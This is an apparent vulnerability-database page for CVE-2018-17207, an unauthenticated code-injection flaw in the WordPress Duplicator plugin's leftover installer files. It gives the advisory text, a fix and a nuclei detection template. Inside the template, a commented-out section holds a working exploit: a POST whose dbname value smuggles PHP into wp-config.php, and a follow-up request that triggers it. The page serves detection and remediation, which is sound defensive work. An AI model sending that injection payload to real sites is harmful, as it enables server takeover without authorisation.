HexBrain

Browse / CVEs / CVE-2018-17207

CVE-2018-17207· snapcreek / duplicator· CWE-94

WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution

criticalseverity
9.8CVSS score
60.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.

Impact

Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.

Fix

Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.

How to confirm it

Send: POST /installer-backup.php
Positive when: contains "<title>Duplicator</title>" and "dupx-header-version" and "Deployment Path:" AND status 200 AND compare_versions(version, '< 1.2.42')

Run it with nuclei: nuclei -id CVE-2018-17207 -u <target>

The full check
id: CVE-2018-17207

info:
  name: WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
  author: synacktiv,iamnoooob,pdresearch
  severity: critical
  description: |
    An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.
  remediation: |
    Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.
  reference:
    - https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17207
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17207
    cwe-id: CWE-94
    epss-score: 0.60086
    epss-percentile: 0.99143
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/duplicator"
    google-query: inurl:"/wp-content/plugins/duplicator"
  tags: cve,cve2018,wordpress,duplicator,rce,vkev,passive,vuln

# Uncomment to attempt RCE, but note that it modifies database details, potentially causing the website to not function properly.
# variables:
#   marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /installer-backup.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action_step=1

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "Plugin Version:.*?([0-9].*?)<"
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>Duplicator</title>'
          - 'dupx-header-version'
          - 'Deployment Path:'
        condition: and

      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - compare_versions(version, '< 1.2.42')

  # - raw:
  #     - |-
  #       POST /installer-backup.php HTTP/1.1
  #       Host: {{Hostname}}
  #       Content-Type: application/x-www-form-urlencoded
  #       Connection: close

  #       action_ajax=3&action_step=3&dbhost=nowhere&dbuser=test&dbpass=test&dbname=wordpress');echo base64_decode($_GET["input"]);//&dbport=12345&

  #   matchers-condition: and
  #   matchers:
  #     - type: word
  #       part: body
  #       words:
  #         - updt_rows
  #         - scan_rows
  #         - scan_tables
  #       condition: and
  #     - type: status
  #       status:
  #         - 200
  #       internal: true


  # - raw:
  #     - |+
  #       GET /wp-config.php?input={{base64(marker)}} HTTP/1.1
  #       Host: {{Hostname}}
  #       Connection: close
  # matchers-condition: and
  # matchers:
  #   - type: word
  #     part: body
  #     words:
  #       - '{{marker}}'
  #   - type: status
  #     status:
  #       - 200

References

Use this check only on systems you are authorised to test. Where the data comes from